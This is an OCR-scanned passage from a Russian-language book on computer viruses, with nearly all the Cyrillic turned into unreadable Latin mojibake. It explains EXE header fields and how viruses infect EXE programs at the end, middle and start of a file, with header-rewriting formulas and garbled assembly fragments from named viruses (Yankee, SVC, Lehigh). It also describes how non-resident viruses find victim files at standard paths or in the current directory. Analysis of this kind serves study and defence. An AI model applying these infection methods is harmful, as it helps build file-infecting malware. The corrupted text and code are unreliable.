ca k jho6oh, cKOJib yro^Ho 4^ajieK0H » (paayMeercH, b npe^ejiax 1 M 6) 
HHenKe naMHTH npnMepno Taie 

LOG dw ?

nov ds, seg IOC 
*ov  s i .  o f fs e t  LOC 
*ov ds: [S i I 123-'i(i
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KoMnHJIHTOp, BCTpeTHB KJIIOHCBOC CJIOBO «SEG», OCTaBHT KOHKpeT- 

H oe Hiic.TOBoe 3 n a 're fin e  B H y rp if Ko/ta h h c tp v k u h h  «M O V » n yc rw M , h o  

KOMnoHOBiyHK coxpaH H T 3Ty n o3H m n o b cn e iiH a ;ib H oii ma6jiuute nepe- 
MeiufieMbix ccbuioK (R e lo c a t io n  Table) EXE-cjjaHJia. B m om cht 3 a rp y 3 - 

kh EX E-nporpaMMbi onepaiiH O H H aa CHCTeMa n p o cK a m ip yeT  Ta6Jinny h 
3anoJTHiiT Bee TaKHe «n y cT b ie  M ecT a » KOHKpeTiibiM ii 3HaneHHHMH cer- 

M eH TH tix a/ipecoB, 3aBHCHUiHMH o t  M ecTopacno;io »ceH H H  nporpaM M bi 

b naMHTH. K oH K peTH o: n pH 6 aBHT k  «n y c T 0 M y M e c T y » m icJ ioBoe a iia 'ie n n e  

«6 a 3 b i»  -  cerM eH TH oro  an peca  oo.Tac.TH naMHTH, npe;iH a3tiaLieH H oro  jijis i 

K oaa  11 aanH bix  n porpaM M bi1. 11 pH p a o ieT a x  M ecTo nojiojKetiH H  H3M em ie- 

M b ix  spieeK naMHTH c.ne/iyeT HMeTb b BH/iy, h t o ,  KaK h  b c jiyn ae  c C O M -  

nporpaM M aM H, nepBbie lOOh 6 a iiT 0 B s t o h  oo.iacTH  naMHTH 3aHHMaeT 

npecf)HKC n porp aM M H oro  cerM eHTa; TaKHM 06pa30M , ceraeH TH biH  anpec 

« 6 a3 b i»  Toac^ecTBeH cerM eHTHOM y a a p e c y  P S P .

/ Ip y r o i i  o c o 6 eH H ocTbio E X E -n p o r p a M M  h b jih c tc h  t o ,  h to  c p a 3 y  n o c j ie  

3a rp y 3KH cem eH T H b ie  p ern cTp b i E S , D S ,  S S  i i  C S  h m c io t b o 6 m eM  c jiyn a e  

pa.3Hbie 3HaHeHHH, h , c jieaoB aTeiibH o , ja iiH b ie , HcnojiH H eM biii K oa  h  c tc k  

M oryT  pacnoJiaraTbcH  b a6c0.ai0TH0 pa3Hbix cerM eH Tax.

Bot noHCMy (Jjaitnw, co/tepjKamne EXE-nporpaMMbi, oojiaaaioT onpe- 
je .T e iiH o ii BHyrpeHHeH C TpyK Typoii h  coaepacaT:

O  cn e iiH a jib H w ii sarojioBO K, o m ic b iB a io im iH  napaMeTpbi E X E -  

nporpaM M bi;

O  pa3M em eH H yio cpa3y  n o c j i e  3 ar0 Ji0 BKa Ta6 ;n m y  riepeM em aeM bix 

c cm jiok ;

O pacno.TOKeHHbie nocjie Taojimibi n porpaM M iib ift k o /i h aaHHbie 
( ^ i ic k o b u h  o6pa3 3aflaHii).

C T p y ic ry p a  3aro ;ioB Ka pa3pa6oTaH a #Ba c iio/ iobh h oh  aecHTKa JieT Ha- 

3aa nporpaMMHCTOM H3 Microsoft M apKOM  36hkobckh, KOTopbiii He n o- 

CTeCHHJICH yBeKOBe'IHTb CBOe HMH npH nOMOlIIH Co6 cTBeHHbIX HHHUHa- 

jio b  -  «M Z ». B o t  oHa (H a 3B3HHH n o jie ii  flaroTCH n o  rh 11ep T ek c to b o m y  

cnpaBOHHHKy «Tech Help»):

ExeHead dvv 5A4Dh ; -t-00 'MZ' -  curHSTypa EXt-3aro.noeKa
PartPag dw ? , *02 Ko/i-eo daiiros b noc/ieaHe* 512-C3Sthkw3 EXE-tpaS/ia
PageCnt dw ? ; +04 Koji- bo 512-6aiiTHm<OB b EXE-<t»afijie
ReloCnt dw ? , *06 Nmc/io a/ieMSHToe a R e lo c a tio n  ta b le
H d r S iz ^  dw  "  , - 0 8  C yM M a p n a q  a / im a  s  1 5 -6 a iiT H > iK a .«  - ia r o .n o B ia  t< r a o j in u b i

MjnMeis dm , +0A MuMUMa/'buoe k w i- bo in-oaiSTHHhue tp e o yew fi na««Tii
‘■‘ jxM e ts i dw ’  , <-00 M a K i^ a .n b H o e  h o n -B O  l6 - 6 a i i t H i . ! K o e  T c -e 6 y e M 0 ii

1 llpHHunn HacTpoftKH nporpaMMHoro Ko/ia b npoueccc hjih nocae aarpysKn ero 
b naMHTb no-amvnritcKH nasMBaeTCH «fix up».
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ReloSS dw ?
EasSp dw ?
ChkSum dw ?
ExelP dw ?
ReloGS dw ?
T a b iO ff dw ?
QvnNum dw ?

+0E 0 » n .  s 16-6aiiTHMK.ax ct&koboto cerMeHTa othocmt- ho "Casw' 
+10 ohaMSHHe y m a ie j ia  OTeKa SP npn c ra p re  nporpaMMW 

+ 12 KoHTpo/ibHafl cyw ia (SaftTOB nporpaMMbi (ne M ono/ibsyeica)
* 1 4  CxeaeHHe C T a p x o B o ii KOMaHflw nporpaM Mbi OTHOCMTsnbno CS 
+16 Cwesu. b 16-fiafiTHMKax Koflosoro cerMeHTa oTHocHTe/ibHO "Sasbi" 
+18 Aflpec e $a(i.ne R e lo c a tio n  Table 
+1A Howep oBepfles CO nr,9. Kopnesoro cerMeHTa)

R elocation  Table npe.acxaB;raex co6on  MH0 2cecxB0  nap  16-6htobmx 

cjiob, r/ie Ka»c/ioe nepBoe c;tobo (ncieTH oe) coaepao ix  CMemeHHe Buyxpii 

cerMeHTa nepeMemaeMOH cch jikh , a Ka^caoe BTopoe (nexHoe) -  CMeme- 
Hne cerMeHTa nepeMemaeMOH ccw jikh OTHOCHxeJibHO «6a3bi».

riocjie 3arpy3KH nporpaMMbi b na.MHXb o6pa3 3aaaHH pa.3MemaeTCM, Ha- 
MHHaji co CMememisr lOOh OTHOCHTeJibHO « 6a3bi», ho hh 3ar0Ji0B0K, hh 

Ta6/mua nepeMemaeMwx cchjiok b naMHTii y>Ke He npucyxcxByiox.
HfirepecHo h BajKHO, hxo Bee 4)anJiw Windows-nporpaMM Toxe Ha- 

HiiHaioxcH c axoro 3arojioBKa. IlpaB/ia, hx cipyicrypa ropa.3zio c.io>KHeiT, 
KpoMe MZ-3arojioBKa, HMeioxcH h apyn ie  3aro.ro bkh, h noapoonee Bee 
3xo 6yaex paccMOxpeHO b cooxBexcxByiomeH rJiaBe.

3 .4 .1 . «CTaHaapTHbiM» m c t o a  3apaxceHiin

MecTonojio>KeHHe tomkh Bxoaa b nporpaMMy onpeae.iaeTca napon 
«ReloCS:ExeIP» nojieft 3arojioBKa EXE-^afijia. OaKTHMecKii snaMeHHe 
nojia «ReloCS» paccMaxpiiBaexcn OnepanHOHHOH cncxeMoii KaK cMeme- 
HHe KoaoBoro cerMeHTa nporpaMMbi, H3MepaeMoe b 16-6aHTHbix napa- 
rpa<$>ax, OTHOCHTeJibHO «6a3bi». A  snanenHe no.M «ExeIP» -  SaiixoBoe 
CMemeHHe to h kh  Bxojja o t  Hanajia 3Toro kozioboi'o cerMeHTa.

BupyconncaTeJiHM npn 3apa»ceHHH EXE-nporpaMM npHXOfliixca bh- 
A0H3MeHHTb (npeABapnTejibHo coxpaHHB) 3HaHeHHH nojieft «R e lo C S » h 

«ExeIP» TaK, MTo6bi ohh yK33biBajin Ha HeKyio KOMauziy BHvrpH Biipy- 
ca, npiinHcaHHoro k kohuv E X E -^afijia . Ilycxb Len -  axo /umtia E X E - 
(|)aHJia zio 3apa>KeHHJi, a Delta — CMemeHHe nepBoii KOMaiiflbi bhvtph bh- 
PJ'ca (oDbiHHO Delta=0 ). Toraa HOBbie 3HaMeHHH rio/ieft R eloCS h E xe lP  

Moryx 6bixb BbiHHCJieiibi, HanpHMep, c.xe/iyromuM 06pa30M:

R eloCS  =  (L en  -  H drSizexl6 )/16 ;
Exelp =  (L en  -  H drS izex l6 )% 16  +  Delta.

Ilocjie 3apa^eH H H  nporpaM M bi no.xH an ;i ;in iia  ee <}>aH/ia yBejiHHiiBaex- 
ch  Ha AJiHHy BH pyca. 3 x o x  cJiaKT Taiotce H eo6xoaiiM o o x p a s n x b  b n o jm x  

sarojiOBKa. F ly cxb  VirLen -  .zyiHHa K o/ia BH pyca b oai-rxax, x o r a a  

Part Pag = (Len + VirLen)%5l2;
PageCnt. = (Len + VirLen)/5l2 + 1.
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nocKOJibKy «PageCnt> -  sto  kojihhcctbo 512-6aflTOBHx CTpam iu  

b 4>afiJie, to  ripn6aBJieHHe e;iHHHHbi He noTpe6yeTCH b oa ho m - ea hh ctb  e i i - 
hom caynae -  Koraa 0CTaT0K ot aeaeHHH paBeH Hyaio.

BbiBaeT, hto MecTO noa CTeK 0Ka3bmaeTca oracjeHHbiM b kohhc E X E -  
nporpaMMbi. M to o h  H36eacaTb HaaoaceHHH icoaa BHpyca Ha o 6 aacTb cTeKa,

BHpycoinicaTe/ib MoaceT <<OTO/jBHHVTb> CTeKOBbift cerMeHT:

ReloSS = ReloSS + V'irLen/16.

He pea aBTopoM «CTan/iapTHoro» EXE-Biipyca npn a/tpecaumi k nepe- 
MeHHbiM b naMJiTH nacTO BCTaioT npiiMepHO TaKiie ace npooiieMbi, hto h 

nepea aBTopoM «craHaapTHoro» CO M -Bnpyca. Hostomv nepe/uco nep- 
BBIMH HCnOJIHHMblMH KOMaHflaMII nO-IipeaCHeMy HB.IMIOTCH 3HaMeHIlTbie 

« C A L L  $ + 3 »  ii « P O P  < P e m cT p > », BbiHHcasnomne «aeabTa-CMemeiiHe». 
Taiofce ff jw  EXE-BiipycoB xapaKTepHa aapecanwa c yKaaaniieM «C S :»  

b Ka’iecTBe npec|)HKca nepena3na'ieHHa cerMeHTOB.
BhinoaH H B CBOH «3JIOBpe/IHble» /ieHCTBHH, B iip yc  aOJIJKCH BepHyTb 

ynpaBJiennp K o a y  «acep T B b i». 3H aa  cerM eH TH biii aapec «6a3bi>> ( o h  n pn  

CTapTe nporpaM M bi x p a m iT ca  b p er iicT p a x  ES h  D S j ih 6 o  aocT yn eH  npn 

n o M o m n  (JiynKiinH 62h n p ep b iB a m w  2 lh), B iip yc  rip iiG aBaaeT k HeMy 

pa3 M ep P S P  ( b  16-6aiiTH H Kax) h  «C T a p o e »  3 HaqeHHe «R e IoC S ». n o jiyn a a  

KoaoBbift cerM eHT. C M em eH iie  t o h k h  B xoaa  BH yrpvi K oa oB oro  cerM eH Ta -  

3 to  « c r a p o e »  3HaneHHe « E x e I P » .  O c ra e T c s  to j ib k o  BbinojiHHTb aaabH H ii 

n e p e x o a  n o  paccniiTaH H O M y aapecy. B o t  HecKOJibKO npHMepoB.

Biipyc Yankee.2C.2885:
mov dx ,os  
add d x ,10 
add cx ,cs :R e loC S  
push dx 
push cs :E xe lP

r e t f

Bnpyc SVC.3103:

nov Dx.es
add Dx, 10
add b x .c s :R e lo C S [s i
mov c s :S S S [s i] ,  bx
mov D x ,c s :E x e IP [s i]
nov cs:000.D x

dD
a w ■> 
n w *>

Or-An : )xq SSS
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A jirop H T M  3apaaceHHH E X E -n p o rp a M M , ocHOBamibiH Ha s t h x  npHH- 

minax h 4>opMy.rrax, Hcnojib3yeTca oneHb nacTo h CHHTaercn «CTaHzrapT- 
HbIM ».

EXE-nporpaMMbi, K0T0 p w e  c o ^ e p a c a T  b  c b o h x  (Jjaftjiax «BHyrpeH HH e» 

OBepjien , 6 yayH H  3 a p a a ceH b i no^ooH biM H  BHpycaMH, nacTO pa6 oTaK>T H e- 

K0ppeKTH0 h jih  c o B c e M  H e p a 6o T a io T . TaKHe nporpaMMbi nojiyHaioTCH, Ha

n p H M ep , b p e 3 y jib T a T e  pa6 on>i n o n y jin p H o n  c h c tc m h  nporpaM M HpoBaHHa 

C Y E J l  Clipper. XapaKTepHbiM npii3HaK0M  nporpaMM co «B H yrpeH H H M H » 

OBepjieHMH h b jih 6tc h  HecooTBeTCTBHe peajibHoii h jih h m  <f>aHJia h  a jih h h , 

paccHHTaHHofl no  3HalieHHHM nojieii «  Part Pag»  h  «PageCnt>. «XopouiHM 
t o h o m »  cpeflH BH pyconncaTeJieH  CHHTaioTCH HajiHHHe B B H pyce npoBepKH 

Ha «0BepjieHH0CTb» h OTKas o t  3apaaceHHa rio;to6Hbix nporpaM M .

3.4 .2 . 3apa*eHue b  cepeflMHy <J)aitna
O aiiH M  i i 3 peu ieHHH n p o 6 jieM b i « 0 BepjieHHbix>> EXE-nporpaMM h b jih c tch  

n oM em eH iie  BHpyca b cepe/urny (JraiiJia -  b n p 0 CTpaHCTB0  m o k a v  3aro- 
jiobk om  ( bkjik>4 arom hm b flaHHOM c jiy n a e  h  Relocation Table) h  o6pa30M  

3aflaHH. /I jih  3 Toro  Biipyc flOJiJKeH:
O  «p a 3 /iBH H }Tb» 4>aHJi, p a 3MecTHBiiiHCb cpa3y nocjie 3arojioBKa h 

npunH caB  ocTaTOK nporpaM M bi k  k o h h v  4>anJia;
O  BnaoH3MeHHTb, KaK h  b c jiyn a e  -«CTaHaapTHoro«- MeTO/ia aapaace- 

hhh, Tpe 6 y e M u e  n o jin  b 3aroJioBKe;

O  «nepecHHTaTb» Relocation table c yneTOM Toro, h to  k o a  nporpaM
Mbi CflBHHyjICH H Bee CCblJIKH «n on jIb U IH ».

HeBoopy>KeHHbiM  rjia soM  b h o t o , h t o  M eToa sapaacem iH  b  c ep e jH H y  

4>aiiJia ropa3,To c jioacnee «C T a im a p T H o ro » MeTO/ia. B o t  noMe.viy BHpycoB,

3aopoBaa
nporpaMMa

3aronoBQK

Kofl, flaHHbie 
m cteK

3apax<eHHafl
nporpaMMa

3aron0B0K

Btipyc

Koa, flaHHbie 
m cieK

P m c . 3 . 4  ❖  3 a p a x e H n e  
EXE-nporpaMMbi b cepeflMHy
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3apaacaiomHX b cepejiHHy cJjaiijia, OTHOCHTeJibHO HeMHoro. B  KaHecTBe 

npHMepa moxcho npHBecra npe/icxaBiiTeJieH neMnoroHiicjienHoro, coctoh- 
mero Bcero H3 jipyx. BiipycoB. ce.vieHCTBa Voronezh.

K cran i, yaajiHTb m  (Jjaftjia TaKoro poaa Bupyc He MeHee *np0THBH0», 
neM BHe^pHTb!

3.4 .3 . SapaxeHMe b  Hanaro 4>aPt/ia
H e c jie f ly eT  ayM aTb, h to  «3apa5K eH iie» nporpaM M  -  npHBH/ierna BnpycoB . 

C ym ecT B yeT  6 o ;ib iiio e  k o jih h c c tb o  3aaan, p em aeM b ix  n p n  n oM om n  B H ej- 

peH H a «n o c T o p o H iie r o »  K oa a  b «M n p H y io »  nporpaM M y. H anpH M ep, 3 thm  

npneMOM  n o jib 3 y io T o i pa3pa6oTH H Kii «H aB ecH b ix » 3am nT o t  HecaHKHH- 

OHHpoBaHHoro KonHpoBaHHH (Nota, Cerberus h  n poH H e). K o a  3 amHTM 

no  BnpycHOM }7 n pH H ijifn y  BH e^paeTch b nojib30BaTejibCKyK> n p o rp a M M y , 

nepBM M  n o jiyn a eT  yn paB J iem ie , Bb iiio jinsieT  pa3H oo6pa3H bie npoBepKH  h  

jiH iiib  n p n  ycneu iH O M  noflTBepac^eH iiH  J iera jibn ocT ii nporpaM M H on k o- 

riHH n ep eaaeT  e ii  ynpaBJieHHe. OTJiHHHe o t  «n a c x o a in e r o »  BHpyca 0 flH 0  -  

K oa  3amHTbi He yM eeT  caM 0pa3M H0»caTbca, a «3a p a 5 K em ie » npoH cxo/n iT  

c BeaoM a BJiaaeJibna nporpaM M bi.

K aK  npaBH-io, oah h m  H3 Ba>KHeHiuiix T peooB am iH  k  TaK oro  p oa a  «n ceB - 

7lOBHpyCaM » HBJISIiOTCil HX HafleaCHOCTb, Cn0C0 6 H0 CTb KOppeKTHO BHCH- 

paTbca  b caM bie pa3H oo6pa3H bie nporpaM M bi. B h jh m o , s t o  b o 3 m o *h o  

jiH iub b  to m  c jiyn ae , K oraa  aapajfcae.Man nporpaM M a npe^cTaBJiaeT c o o o ii  

BHyTpeHHHH HJIH BHeUIHHH OBepJIOM, a KOpHeBOH cerM eH T (B H p yc  HJIH 

«n ceB A O B H p yc ») He noJ ibsyeTca  uiTaTHbiMH cpejjcTBaM H o n ep a m io H n o fi 

CHCTeMbi flju i 3arpy3KH h  3anycK a s t o h  nporpaM M bi, h o  B b inojiro ieT  3Ty 

o n ep a m iio  n o jiH ocT b io  caMOCTOHTejibHO.

3apa3HTb nporpaMMy no 3T0My MeTO/iy Kpaiine npocTo, b tomhocth 

TaK >Ke, KaK 6biJio onHcaHO b paa/ieJie, nocBJimeHHOM « 0BepjieHHbiM» bh- 
pycaM. H o  bot B03BpaT ynpaBJieiiHa b nporpaMMy nponcxoflHT, b o6meM 

cjiynae, HeTpHBHaJibHo:
O  Bbifle.iHiOTCH (JjparMeHTbi onepaTHBHoii naMHTH ;u ih  3arpy3Kii ca- 

moh nporpaMMbi h fljra pa3.wemeHHH ee cpe^bi, jih6o BHpyc ocbo- 
6o>K/iaeT fljra aToii uejra cboh co6cTBeHHbie <.|)par.\ieHTbi naMJrra, 
nepeMemaacb b /jpyroe MecTo;

O  ko/i nporpaMMbi (nMeexcn b bh/iv «h h c th h » koa, 6e3 sarojioBKa h 

R e lo c a t io n  Table) sa rp y jK a e rca  b hyjkhvkj n o3H m n o  onepaTHBHoii 
naMJiTH -  cp a 3y  n o c jie  PSP;

O  cKamipyeTCH Relocation Table h nacTpanBaioTCH nepeMemaeMbie 

ccbi riKH b nporpaMMe;
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O  COOTBeTCTByK>mHM 06pa30M  HHHLlHaJlH3HpyiOTCH BCe CfTMeHTHble 

perHCTpw h perncTpbi o6mero Ha3HaHeHii5i;
O  y n p a B /ieH M e n e p e / ia e T c a  H a t o h k v  B x o a a  n p o rp a M M b i.

O a K T iw e c K H  B H p y c  B b in o jiH H e T  r ip n  s t o m  p o jib  c u c T e M H o ro  3 a r p y 3 -  

HHKa.

B « n ce B z iO B H p y c a x >  sapaaceHHe no /iaiiHOMV a jiro p H T M y , KaK npaBH.To, 
coneraeTca co c jio jk h o h  u iiK ^poB K o ii KO/ia n p o rp a M M b i. B  s to m  cjiynae 

y/ia.fiiiTb «nocTopoHHHH» Koa ajieMeHTapHO, ocuoBiiaa ace npoo.ne.Ma co- 
c t o h t  b BoccTanoBJieHHH cJ>aHJia 3apaaceHHoii n p o rp a M M b i b h cxo^h om  

Biifle.
«HacTOflm iie» BHpycbi pe/[KO Hcno;ib3yioT no/io6 H yio  cjioacHyio Tex- 

HHKy, h o  HHor/ja « s to »  cjiyMaeTca. B  KanecTBe npiiMepa m ojkho  npHBecra 

a 0B0.ibH0 -«HaBopoHeHHbiH» Biipyc M arina. 1296, cosjiamibiH, no yB ep e- 

hhhm  aBTopa, « b  naM iiTb o H ecnacTH oii jik>6 bh>>. /JeByuiKH, He oTB epra iiTe  

nporpaMMHCTOB!
KpoMe Toro, n o R o fn m a  TexHHKa xapaKTepHa zijim TaK Ha3biBaeMbix

yTH jiht-«ynaKOBmHKOB» (P K L IT E , L Z E X E h  L Z C O M . D IE T , A IN E X E , 
T S C R U N C H  h npoHne), K0T0pwe no.3Bo;iHK)T «yMenbiiiaTb» 4>afijibi, 3a- 
HHMaeMbie nporpaMMaMH. /JejiaeTca sto  TaK: <J)aH,i nporpaMMbi «kom- 
npeccnpyeTCH» npn noMomn KaKoro-iiHdnyib H3BecTHoro ajiropiiTMa 

C/KaTiia jam ibix (HanpHMep, L Z W )  h npiinncbiBaeToi b BH/ie «BHyrpeH- 
Hero oBepjiea» k Ma.ieubKofi nporpaMMKe, KOTopaa npn 3anycKe nepeMe- 
maeT cboh Koa b HeiicnoJib3yeMbie peraoHbi na.MHTH, «pacnaKOBUBaeT» 
b ocBo6oiiHBiiieecH MecTO cboh «OBepjieft», HacTpaHBaeT b HeM nepeMe- 
maeMbie cchjikh h nepeaaeT Ha Hero ynpaB;ienne. BnponeM, 6biBaeT, hto  

«pacnaKOBbiBajibmHK» caM npHniicbiBaeTcn k OKaTOH nporpaMMe Hano- 
ao6ne Biipyca.

3.5. HepeBHAeHTHbie Bi/ipycbi
-  ...Bee, ece u a t iu tu , -  n e x a w  cko3(U i  6 o p o -  

d a n m u .. .  -  B e e  h m u j iu  u  e u tfi n o .u ie m x a  j iy x y  

e  n p u d m y !

A. k  B. CTpyraitKiie.
«B  name mrrepecHoe BpeMa»

/ J o  c h x  n o p  m m  o 6x o ; i i i j i h  BH HM aHiieM  B o n p o c :  k b k h m  0 6 p a 3 0 M  B H p y cw  

o o H a p y jK H B a io T  c b o h  a ce p T B b i?  H a c T a .n o  BpeM H B o c n o jiH H T b  s t o t  n p o o e / i .

K aK  m h  y a c e  y iio M iin a jiH  p a n b iu e ,  n o  c n o c o 6y  n o iic K a  JK ep T B  (f)aHJio- 

Bbie B H p y c b i M o ry T  6b iT b  p a 3 ,a e jie H b i Ha /iBe o o jib ii iH e  rpynnb i -  p e3H /ieH T -
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Hbie H Hepe3HfleHTHbie. OTJIHHHTeJlbHblM CBOHCTBOM Hepe3H/tCHTHbIX 

BHpyCOB HBJIHCTCH to , HTO HX «3KH3HeHHHH IJHKJ1» , BKJlK>HaiomHM 3TanhI 
nana.TbHOH HHnnHa_TH3auim, noHCKa h 3apa»ceHHH acepTB, yKJia/ibiBaeTca 

Bcero b HecKOJibKO MraoBeHHH cpa3y nocjie noJiyneHHH hmh yripaBJienHH. 
BunojiHHB cBoe <?npejiHa3HaiieH ne», Hepe3H/teHTHbift BHpyc B03Bpama- 
eT ynpaBJieHHe nporpaMMe-BtipyconocHTejno h «3acbiriaeT» b oaoiflaHHH 

onepeaHoro 3anycKa stoh  nporpaMMbi.
PaccMOTpHM HecKOJibKO uiHpoKO pacnpocTpaHeHHbix ajiropHTMOB no

HCKa noTCHmiajibHbix >KepTB, n p iiM eH aeM b ix  b  H epesH z iem iib ix  BH pycax.

3.5.1. MeTOA npeflonpefle/ieHHoro MecTononoxceHnsi 
(|>aMilOB

H s e n  3T o ro  M eTOfla on eH b  n p o c T a  h  0 CH0 BaHa Ha cfjaicre, h to  noHTH Bee 

K0 M nbi0 Tepbi, Ha K O Topbix  ycTanoB .TeH bi «c.Taim apTHoe» nporpaM M H oe 

ooecn eH eH H e h  «C TaH flapTH b iH » Haoop npnjioaceH H H , c to h k h  3peHHH 

pacnoJ ioxeH M H  nporpaMM Ha a n cK e  noxoacH a p y r  Ha a p y ra , c jio b h o

0JIH3Hei|bI.
M 3BecTHO, h t o  TOJibKO HecKO-ibKO npoueHTOB Han6 oJiee «H3BpameH- 

h m x »  H0 -Tb30BaTeJieH ycTaHaBJiHBaioT onepauH O H H yio cHCTeM y Ha ah ck  

D : h jih  b K aT a jio r (n a n K y )  c  3K30THHecKHMH HMeHaMH TH iia « W 9 8 »  h jih  

« M u s t D ie » ,  b no/iaB.THiomeM ace 6 oJibuiHHCTBe cJiynaeB r j w  s t o h  u e jn i 

H cn o jib 3yioTCH f l i ic K  i i  K aTajior, HMeHa KOTopbix npejJ iaraioTC H  (Jjhpmoh 

M ic r o s o f t  n o  yM OjreaHHK), a h m ch h o  «C :\ \ V in d o w s »  h jih  « C : \ W I N N T » .  

A  3T0 03HanaeT, h t o  c o rp oM H o ii BepoHTHOCTbK) Ha TaKOM KOMnbJOTepe 

KOMan/iHbiii n p o n e c c o p  « C O M  M A N D . C O M *  u  n rp oB aa  nporpaM M a 

« S O L . E X E »  JieacaT b  K aT a jio re  «C :\ W in d o w s » ,  a CHCTeMHaH v th j ih -  

Ta «  D E B U G .E X E *  -  b  K aT a jio re  « C : \ W in d o w s \ C O M M A N D »  h  t .  n. 

C  TaKOH ace a o jie H  BepoHTHocTH  15 JieT na3 a;i Bee CHCTeMHbie <|>aHJibi 

M S - D O S  p acn o jia ra jiH C b  b K a ra jio r e  « C : \ D O S » ,  a  n on y jiap H eH iu aa  0 6 0 - 

.TOHKa N o r t o n  C o m m a n d e r  « a a u ia »  b «C :\ N C > .

Pa3yMeeTCH, 3T0 06cT0HTejIbCTB0 He MOI'JIH 060HTH CBOHM BHHM3HI1- 
eM BupyconHcaTejiH. HanpHMep, ojihh H3 nepBbix b hctophh 4>aHJioBbix 
BiipyeoB, 3naMemiTbiH Lehigh, HHHToace cyMHHmeoi cpa3y nuTajica 3 a- 

pa3HTb (Jianji « C O M  M A N D .C: O M  », HaxoflfliiiHHCH b KopHeBOM KaTajiore 

TeKyiuero ;uicKa. /Iejiaji oh s to  npHMepHO TaK:

itov ah, I9fs ; OyHKuua 19n - homsp TeKyiiisro jskcks

i n t  44h , HaiiBHafi xsrrpocTb, Ha canon aene BtiabieasTM In t  21h
add a l,  61 h ; feHepauiw 6yKs&; mmshm ycTpoiteTea no hombpv

THV Dx, o f f s e t  NAME
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BcTaBKa HymHOfi 6vkbh 6 Hawano nyrw (pajia
mov

donwTKa oTKpwb $aSS« KCMaHflHoro npoueccopa
n t

NAME db 'X:\C0MMAND.C0H', 0

lIp aB a a , aa jiee  o n  HaMHua.ri pa6 oxaTb  KaK pesH/ieiiTHbm  B u pyc , h o  b h -  

iuenpH BeaeH H bin 4>parMeHT o t j ih h h o  jieM OHCTpupyeT h m ch h o  m ctozi 

«npe/ionpefle.7 ieH H oro M ecTon o jio »ceH H fl <f>aiiJiOB».

B KanecTBe /ipyrax npHMepoB mojkho npuBecni CTapHHHbiii BHpyc 

Abraxas.1304, HaHHHaiomHH pa6oTy c 3apa>fceHH5i 4>aiiJia «C:\DOS\ 
DOSHELL.EXE», ii HecKOJibKO 6ojiee «cBeaoiH» BHpyc Truxested, nw - 
TaiomHHCH 3apa3HTb neKOTopue, 3apaH ee BireceHHbie b cmicoK acepTB, 
c^afijiM b KaTajiorax <sC:\DOS» h «C :\W IND O W S».

OrnicaHHbiH mcto/i npiiMeHae-TCH b Bupycax He cjihiukom Hacm JXm- 
CTBHTeJibHO, Beflb Biipycbi npeTeHflyioT Ha «BeHHyro *H3Hb», b to BpeMH 
KaK Bee TeqeT h Bee H3MeHHCTCfl. HanpHMep, KaTajior «C :\DOS» ceft- 
nac npHCVTCTByeT jjajieKo He Ha Bcex MauiHHax, a a h aaace raM, rjie oh 
ecTb, BecbMa MajioBepoamo naJiHHHe b stom KaTajiore cjjan.ia o6ojiohkh 
DOSSHELL H3 Bepcmi 5.0 OnepanHOHHOH cucTeMbi MS-DOS. A (jiaftji 
«C :\CO M M AN D .CO M » xoTb h ABJraeTCH HenpeMeHHbiM aTpH6yTOM 
onepanHOHHbix cucreM ceMeficTBa Windows 9X, ho pa3MemaeTca b Kop- 
HeBOM KaTajiore JiHiiib «b cnpaBOMHbix nejiax», b to BpeMH KaK «aKTHB- 
h o h »  HBJineTCH Konn>! KOMaHflHoro npoueccopa, 3arpy>KaeMaH H3 (JjaiLia 
« C:\Windows\COM M A N D .C O M » (sto jictko npoBepHTb, BbmojiHHB 
KOMaHZiy SET 11 ooparHB BHHMaHHe Ha CTpoKy, onpeaejraiomyio 3HaHeHiie 
nepeMeHHoii OKpyacemiH «CO M SPEC »).

Cnoco6 caMOCTOHTejibHoro yaajieHHa BiipycoB, oonapyacHBaromhx 

cboh acepTBbi no onwcaHHOMy ajiropHTMy, K pafiH e npocT: na^o Boccra- 
HOBHTb 3apaaCeHHbie (fjaH^bl, B3HB HX H3 a»CTpil6\THBa OIlfpaHHOHflOH 

oHCTeMbi h jih  npHKJiaflHOH nporpaMMbi.

3 .5 .2 . M eT O fl nouc ica  b  Teicym eM  K aT a jio re

3 t 0  CaMblil 3HaMeHHTMH MCTO/I, HCn0.1b3yeMbIH aBTOpaMIl KONillblOTep- 

Hbix B iip ycoB . IIpaKTHMecKH KajKflbiii « c a M o y T B e p » i ia io m H iic a »  B H pyco- 

n n ca T e jib  H aH im aeT c b o io  a e jm y ib H o cT b  iim ch h o  c BHpyca, pasbicKHBaio- 

m e ro  h  3 ap a »ca iom ero  cb o h  « » e p T B b i »  b TeK ym eM  K aTa jiore . B j i io o o h  

HocTaTOMno 6 o jib ii.[on  B iip ycH o ii k o ji j jc k h h h  n p eB a jin p y io T  H M enno Ta- 

K iie, He B cerfla  6 e3o6 iijiH b ie, h o  b j iio o o m  c jiyn a e  -  KpaiiH e «T H X o x oa H b ie » 

caM opa3M HoacaK>m Heca nporpaM M bi. /1a>Ke e c .ra  oo p a T irrb ca  k  C K pn »:a -
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m m , Ha Koxopwx bm6htm cKa3aHHH h JiereH flbi o caM bix  paHHHX aTanax 

BIipyCH O H  HCTOpHH, OHeHb TpyflHO  H3HTH illujxjpMaUHJO O TOM, HTO Ka- 
koh-jiii6g ycTpoeH H M H  no/iooribiM 06pa30M B H pyc  Bbi3Ba.fi CKo;ib-Hii6y/j,b 

3aMeTHjrio arm/teMHio Ha nojib30BaTejibCKHx K O M nbioTepax. H y  pa3Be 

hto mo>kho H3peaKa hshth  ynoM H H aH H H  o B H p y c ax  ceM eftcTB Pixel h 

Amstrad, yxiiTpaBmnxca nyTem ecTBO B aTb c KOMnbiOTepa Ha KOMnbro- 
Tep b re  ro flb i, K o ra a  eaHHCTBeHHW M  B apnaiiTO M  hochtcjih n n s i p a6 oT b i h 

o6MeHa nporpaMMaMH cjiv>khjih r a 6KHe nara/noHMOBbie ahckctm 061- 
eMOM 360 K 6.

BnponeM, cym ecT B yeT  n o  KpaHHen M e p e  oflHo HCKJiioHemie H3 o6me- 
r o  npaBH/ia -  KOMnbroTepHbiH B iip yc . KOTopbiH CTaJi H e B ep o jm io  H3BecT- 

HblM H pa3MH0JKIL1Ca B OrpOMHMX KOJIHHCCTBaX, HCCMOTpfl Ha KpaHHIOIO 

npHMHTIIBHOCTbl Khi2hnjak.Hallo.759 ( H3BeCTHbIH TaiGKe n o fl HMCH3MH 

Khijhnjak.759, C-759 h  zip.). K o m h 3m  cn iyaiiH H  b tom , h to  s t o t  BHpvc 

